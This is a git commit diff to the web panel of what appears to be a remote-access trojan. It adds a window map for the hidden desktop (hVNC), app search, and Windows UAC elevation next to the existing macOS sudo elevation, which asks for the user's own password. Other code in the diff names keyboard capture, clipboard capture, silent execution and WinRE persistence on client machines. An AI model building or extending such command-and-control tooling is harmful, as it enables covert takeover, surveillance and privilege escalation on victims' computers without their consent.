add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc).

This commit is contained in:
KingKDot
2026-05-20 15:26:41 -05:00
parent 7e84ae8fb7
commit ea77515aa3
17 changed files with 683 additions and 23 deletions
+225
View File
@@ -416,6 +416,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 15000);
} else if (step === "healthy") {
launchStatusIcon.className = "fa-solid fa-heart-pulse text-emerald-400";
launchStatusLabel.textContent = `${browser}: ${detail}`;
launchStatusLabel.className = "text-emerald-300";
launchHideTimer = setTimeout(() => {
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 10000);
} else if (step === "launch") {
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
launchStatusLabel.textContent = `${browser}: ${detail}`;
@@ -485,7 +493,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
const installedAppsGrid = document.getElementById("installedAppsGrid");
const installedAppsCount = document.getElementById("installedAppsCount");
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
const installedAppsSearch = document.getElementById("installedAppsSearch");
const installedAppsSearchClear = document.getElementById("installedAppsSearchClear");
const installedAppsEmpty = document.getElementById("installedAppsEmpty");
let installedAppsData = [];
let installedAppsQuery = "";
let installedAppsLoading_pending = false;
@@ -496,9 +508,75 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
if (installedAppsList) installedAppsList.classList.add("hidden");
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
if (installedAppsCount) installedAppsCount.textContent = "";
if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden");
sendCmd("hvnc_installed_apps", {});
}
function applyInstalledAppsFilter() {
if (!installedAppsGrid) return;
const q = installedAppsQuery;
let visible = 0;
const buttons = Array.from(installedAppsGrid.children);
if (q) {
const prefix = [];
const contains = [];
const hidden = [];
for (const btn of buttons) {
const key = btn.dataset.search || "";
const name = (btn.dataset.name || "");
if (name.startsWith(q) || key.startsWith(q)) {
prefix.push(btn);
} else if (key.indexOf(q) !== -1) {
contains.push(btn);
} else {
hidden.push(btn);
}
}
for (const btn of prefix) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
for (const btn of contains) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
for (const btn of hidden) { installedAppsGrid.appendChild(btn); btn.style.display = "none"; }
visible = prefix.length + contains.length;
} else {
for (const btn of buttons) {
btn.style.display = "";
visible++;
}
}
if (installedAppsEmpty) {
installedAppsEmpty.classList.toggle("hidden", !(q && visible === 0 && installedAppsData.length > 0));
}
if (installedAppsSearchClear) {
installedAppsSearchClear.classList.toggle("hidden", !q);
}
}
if (installedAppsSearch) {
installedAppsSearch.addEventListener("input", () => {
installedAppsQuery = installedAppsSearch.value.trim().toLowerCase();
applyInstalledAppsFilter();
});
installedAppsSearch.addEventListener("click", (e) => e.stopPropagation());
installedAppsSearch.addEventListener("keydown", (e) => {
if (e.key === "Escape") {
installedAppsSearch.value = "";
installedAppsQuery = "";
applyInstalledAppsFilter();
}
e.stopPropagation();
});
}
if (installedAppsSearchClear) {
installedAppsSearchClear.addEventListener("click", (e) => {
e.stopPropagation();
if (installedAppsSearch) installedAppsSearch.value = "";
installedAppsQuery = "";
applyInstalledAppsFilter();
if (installedAppsSearch) installedAppsSearch.focus();
});
}
if (refreshInstalledApps) {
refreshInstalledApps.addEventListener("click", (e) => {
e.stopPropagation();
@@ -529,8 +607,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
if (installedAppsData.length === 0) {
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
} else {
installedAppsData.sort((a, b) => (a.name || "").localeCompare(b.name || "", undefined, { sensitivity: "base" }));
installedAppsGrid.innerHTML = "";
for (const app of installedAppsData) {
appendAppButton(app);
}
}
}
applyInstalledAppsFilter();
}
function appendAppButton(app) {
@@ -538,6 +624,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
btn.type = "button";
btn.className = "installed-app-btn";
btn.title = app.exePath || app.name;
btn.dataset.search = ((app.name || "") + " " + (app.exePath || "")).toLowerCase();
btn.dataset.name = (app.name || "").toLowerCase();
if (installedAppsQuery && btn.dataset.search.indexOf(installedAppsQuery) === -1) {
btn.style.display = "none";
}
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
const img = document.createElement("img");
@@ -969,6 +1060,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
handleBrowserLaunchStatus(msg);
return;
}
if (msg && msg.type === "hvnc_window_list_result") {
handleWindowListResult(msg);
return;
}
if (msg && msg.type === "hvnc_error") {
handleHVNCError(msg);
return;
@@ -1457,6 +1552,136 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
}
}
// ── Window Map ──────────────────────────────────────────────
const windowMapBtn = document.getElementById("windowMapBtn");
const windowMapModal = document.getElementById("windowMapModal");
const windowMapCloseBtn = document.getElementById("windowMapCloseBtn");
const windowMapRefreshBtn = document.getElementById("windowMapRefreshBtn");
const windowMapCanvas = document.getElementById("windowMapCanvas");
const windowMapList = document.getElementById("windowMapList");
const WINDOW_COLORS = [
"#8b5cf6", "#3b82f6", "#10b981", "#f59e0b", "#ef4444",
"#ec4899", "#06b6d4", "#84cc16", "#f97316", "#6366f1",
];
function openWindowMap() {
if (!windowMapModal) return;
windowMapModal.style.display = "flex";
sendCmd("hvnc_window_list", {});
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading…</div>';
if (windowMapList) windowMapList.innerHTML = "";
}
function closeWindowMap() {
if (windowMapModal) windowMapModal.style.display = "none";
}
if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap);
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
sendCmd("hvnc_window_list", {});
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Refreshing…</div>';
if (windowMapList) windowMapList.innerHTML = "";
});
if (windowMapModal) windowMapModal.addEventListener("click", (e) => {
if (e.target === windowMapModal) closeWindowMap();
});
function handleWindowListResult(msg) {
const monitors = msg.monitors || [];
const windows = msg.windows || [];
if (!windowMapCanvas || !windowMapList) return;
if (monitors.length === 0 && windows.length === 0) {
windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm">No windows or monitors found</div>';
windowMapList.innerHTML = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
return;
}
let minX = Infinity, minY = Infinity, maxX = -Infinity, maxY = -Infinity;
for (const m of monitors) {
minX = Math.min(minX, m.x);
minY = Math.min(minY, m.y);
maxX = Math.max(maxX, m.x + m.width);
maxY = Math.max(maxY, m.y + m.height);
}
for (const w of windows) {
minX = Math.min(minX, w.x);
minY = Math.min(minY, w.y);
maxX = Math.max(maxX, w.x + w.width);
maxY = Math.max(maxY, w.y + w.height);
}
if (!isFinite(minX)) { minX = 0; minY = 0; maxX = 1920; maxY = 1080; }
const totalW = maxX - minX || 1;
const totalH = maxY - minY || 1;
const containerW = windowMapCanvas.clientWidth || 800;
const aspect = totalW / totalH;
const mapH = Math.min(400, Math.max(180, containerW / aspect));
const scale = Math.min(containerW / totalW, mapH / totalH) * 0.92;
const padX = (containerW - totalW * scale) / 2;
const padY = (mapH - totalH * scale) / 2;
function tx(x) { return padX + (x - minX) * scale; }
function ty(y) { return padY + (y - minY) * scale; }
function tw(w) { return w * scale; }
let html = "";
windowMapCanvas.style.height = mapH + "px";
for (let i = 0; i < monitors.length; i++) {
const m = monitors[i];
const x = tx(m.x), y = ty(m.y), w = tw(m.width), h = tw(m.height);
html += `<div class="absolute border-2 border-dashed border-slate-600 rounded" style="left:${x}px;top:${y}px;width:${w}px;height:${h}px;" title="Monitor ${m.index}: ${m.name} (${m.width}x${m.height})">
<span class="absolute top-1 left-1.5 text-[10px] font-mono text-slate-500">${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index}</span>
<span class="absolute bottom-1 right-1.5 text-[10px] font-mono text-slate-600">${m.width}×${m.height}</span>
</div>`;
}
for (let i = 0; i < windows.length; i++) {
const w = windows[i];
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
const x = tx(w.x), y = ty(w.y), ww = Math.max(tw(w.width), 8), wh = Math.max(tw(w.height), 8);
const shortTitle = w.title.length > 30 ? w.title.slice(0, 28) + "…" : w.title;
html += `<div class="absolute rounded border overflow-hidden cursor-default" style="left:${x}px;top:${y}px;width:${ww}px;height:${wh}px;border-color:${color};background:${color}18;" title="${escHtml(w.title)}\n${w.processName} (PID ${w.pid})\nPosition: ${w.x},${w.y} Size: ${w.width}×${w.height}\nMonitor: ${w.monitor >= 0 ? w.monitor : "none"}">
${wh > 20 && ww > 50 ? `<div class="px-1 py-0.5 text-[9px] font-mono text-slate-200 truncate" style="background:${color}50;">${escHtml(shortTitle)}</div>` : ""}
</div>`;
}
windowMapCanvas.innerHTML = html;
let listHtml = `<div class="grid gap-1">
<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 px-2 py-1 text-[11px] uppercase tracking-wide text-slate-500 border-b border-slate-800">
<span></span><span>Title</span><span>Process</span><span>Position</span><span>Monitor</span>
</div>`;
for (let i = 0; i < windows.length; i++) {
const w = windows[i];
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
const monLabel = w.monitor >= 0 ? (monitors[w.monitor] ? (monitors[w.monitor].name || "#" + w.monitor) : "#" + w.monitor) : "—";
listHtml += `<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 items-center px-2 py-1.5 rounded hover:bg-slate-800/50 text-xs text-slate-300">
<span class="w-2.5 h-2.5 rounded-sm" style="background:${color};"></span>
<span class="truncate font-medium" title="${escHtml(w.title)}">${escHtml(w.title)}</span>
<span class="font-mono text-slate-400">${escHtml(w.processName)} <span class="text-slate-600">(${w.pid})</span></span>
<span class="font-mono text-slate-500">${w.x},${w.y} ${w.width}×${w.height}</span>
<span class="font-mono ${w.monitor >= 0 ? "text-slate-300" : "text-rose-400"}">${monLabel}</span>
</div>`;
}
listHtml += "</div>";
if (windows.length === 0) {
listHtml = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
}
windowMapList.innerHTML = listHtml;
}
function escHtml(s) {
return s.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
}
connectWs();
fetchClientInfo();
})();
+15 -9
View File
@@ -253,8 +253,9 @@ function applyMenuSupportRules(clientId) {
const elevateBtn = menu.querySelector('[data-action="elevate"]');
if (elevateBtn) {
elevateBtn.style.display = platform === "mac" ? "" : "none";
if (platform === "mac") setAvailability(elevateBtn, isOnline, "Client is offline");
const canElevate = platform === "mac" || platform === "windows";
elevateBtn.style.display = canElevate ? "" : "none";
if (canElevate) setAvailability(elevateBtn, isOnline, "Client is offline");
}
setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline");
@@ -1676,21 +1677,26 @@ menu.addEventListener("click", async (e) => {
}
if (action === "elevate") {
const password = prompt("Enter the user's macOS password for sudo elevation:");
if (!password) {
closeMenu(clearContext);
return;
const isMac = detectClientPlatform(contextCard) === "mac";
let password = "";
if (isMac) {
password = prompt("Enter the user's macOS password for sudo elevation:");
if (!password) {
closeMenu(clearContext);
return;
}
}
try {
const payload = { action: "elevate" };
if (password) payload.password = password;
const res = await fetch(`/api/clients/${contextCard}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "elevate", password }),
body: JSON.stringify(payload),
});
const data = await res.json().catch(() => ({}));
if (data.ok) {
alert(data.message || "Elevation successful — client will reconnect as root.");
// Stagger thumbnail requests to catch the client after it reconnects
alert(data.message || "Elevation successful — client will reconnect elevated.");
setTimeout(() => requestThumbnail(contextCard), 5000);
setTimeout(() => requestThumbnail(contextCard), 10000);
setTimeout(() => requestThumbnail(contextCard), 18000);
+1 -1
View File
@@ -47,7 +47,7 @@ const MENU_GROUPS = [
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
{ divider: true },
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ divider: true },
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
+46 -6
View File
@@ -36,6 +36,9 @@
<button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
<i class="fa-solid fa-skull"></i><span>Kill All</span>
</button>
<button id="windowMapBtn" class="button ghost" title="Show window positions and monitor layout">
<i class="fa-solid fa-map"></i><span>Window Map</span>
</button>
<button id="fullscreenBtn" class="button ghost">
<i class="fa-solid fa-expand"></i><span>Fullscreen</span>
</button>
@@ -292,8 +295,21 @@
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
</div>
<div id="installedAppsList" class="hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5">
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
<div id="installedAppsList" class="hidden px-1.5 pb-1.5">
<div class="px-1 pt-1 pb-1.5 sticky top-0 bg-slate-900/95 backdrop-blur">
<div class="relative">
<i class="fa-solid fa-magnifying-glass absolute left-2 top-1/2 -translate-y-1/2 text-[10px] text-slate-500"></i>
<input id="installedAppsSearch" type="text" placeholder="Search apps…" autocomplete="off" spellcheck="false"
class="w-full text-xs bg-slate-950/70 border border-slate-700/60 rounded pl-6 pr-6 py-1 text-slate-200 placeholder-slate-500 focus:outline-none focus:border-violet-500/50" />
<button type="button" id="installedAppsSearchClear" class="hidden absolute right-1.5 top-1/2 -translate-y-1/2 text-[10px] text-slate-500 hover:text-slate-300" title="Clear">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div id="installedAppsEmpty" class="hidden text-[10px] text-slate-500 text-center pt-1.5">No matching apps</div>
</div>
<div id="installedAppsScroll" class="max-h-[260px] overflow-y-auto">
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
</div>
</div>
</div>
<style>
@@ -334,17 +350,17 @@
font-size: 0.65rem;
color: #94a3b8;
}
#installedAppsList::-webkit-scrollbar {
#installedAppsScroll::-webkit-scrollbar {
width: 6px;
}
#installedAppsList::-webkit-scrollbar-track {
#installedAppsScroll::-webkit-scrollbar-track {
background: transparent;
}
#installedAppsList::-webkit-scrollbar-thumb {
#installedAppsScroll::-webkit-scrollbar-thumb {
background: #334155;
border-radius: 3px;
}
#installedAppsList::-webkit-scrollbar-thumb:hover {
#installedAppsScroll::-webkit-scrollbar-thumb:hover {
background: #475569;
}
.installed-app-btn {
@@ -391,6 +407,30 @@
</div>
</main>
<!-- Window Map Modal -->
<div id="windowMapModal" class="fixed inset-0 z-[100] items-center justify-center bg-black/60 backdrop-blur-sm" style="display:none;">
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl w-[90vw] max-w-[900px] max-h-[85vh] flex flex-col">
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-800">
<div class="flex items-center gap-2">
<i class="fa-solid fa-map text-violet-400"></i>
<span class="text-base font-semibold text-slate-100">Window Map</span>
</div>
<div class="flex items-center gap-2">
<button id="windowMapRefreshBtn" class="button ghost text-xs" title="Refresh window list">
<i class="fa-solid fa-arrows-rotate"></i> Refresh
</button>
<button id="windowMapCloseBtn" class="button ghost text-xs">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
</div>
<div class="flex-1 overflow-auto p-5 flex flex-col gap-4">
<div id="windowMapCanvas" class="relative w-full bg-slate-950 rounded-lg border border-slate-800 overflow-hidden" style="min-height: 200px;"></div>
<div id="windowMapList" class="flex flex-col gap-1 text-sm"></div>
</div>
</div>
</div>
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
<script type="module" src="/assets/nav.js"></script>
+2
View File
@@ -98,6 +98,7 @@ import {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
@@ -687,6 +688,7 @@ async function startServer() {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
+4
View File
@@ -87,6 +87,10 @@ const PERMISSIONS = {
description: "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)",
roles: ["admin"],
},
"clients:elevate": {
description: "Elevate agent privileges (UAC on Windows, sudo on macOS)",
roles: ["admin"],
},
"clients:winre": {
description: "Install or uninstall WinRE persistence on clients",
roles: ["admin"],
@@ -878,16 +878,13 @@ export async function handleClientRoutes(
});
} else if (action === "elevate") {
try {
requirePermission(user, "clients:silent-exec");
requirePermission(user, "clients:elevate");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const password = typeof body?.password === "string" ? body.password : "";
if (!password) {
return new Response("Bad request: password required", { status: 400 });
}
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
@@ -914,7 +911,7 @@ export async function handleClientRoutes(
action: AuditAction.COMMAND,
targetClientId: targetId,
success: true,
details: "elevate (sudo)",
details: "elevate",
});
try {
@@ -157,6 +157,7 @@ type WsLifecycleDeps = {
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
@@ -733,6 +734,9 @@ export async function handleWebSocketMessage(
case "hvnc_browser_launch_status":
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
break;
case "hvnc_window_list_result":
deps.handleHVNCWindowListResult(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
@@ -806,6 +806,47 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
}
}
export function handleHVNCWindowListResult(clientId: string, payload: any) {
const windows: Array<{
title: string; x: number; y: number; width: number; height: number;
pid: number; processName: string; monitor: number;
}> = [];
if (Array.isArray(payload.windows)) {
for (const w of payload.windows) {
windows.push({
title: String(w.title || ""),
x: Number(w.x) || 0,
y: Number(w.y) || 0,
width: Number(w.width) || 0,
height: Number(w.height) || 0,
pid: Number(w.pid) || 0,
processName: String(w.processName || ""),
monitor: Number(w.monitor ?? -1),
});
}
}
const monitors: Array<{
index: number; name: string; x: number; y: number;
width: number; height: number; primary: boolean;
}> = [];
if (Array.isArray(payload.monitors)) {
for (const m of payload.monitors) {
monitors.push({
index: Number(m.index) || 0,
name: String(m.name || ""),
x: Number(m.x) || 0,
y: Number(m.y) || 0,
width: Number(m.width) || 0,
height: Number(m.height) || 0,
primary: !!m.primary,
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
}
}
export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
@@ -1092,6 +1133,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_installed_apps":
sendHVNCCommand(target, "hvnc_installed_apps", {});
break;
case "hvnc_window_list":
sendHVNCCommand(target, "hvnc_window_list", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),
+1
View File
@@ -37,6 +37,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hvnc_installed_apps_result",
"hvnc_dxgi_status",
"hvnc_browser_launch_status",
"hvnc_window_list_result",
"clipboard_content",
"proxy_data",
"proxy_close",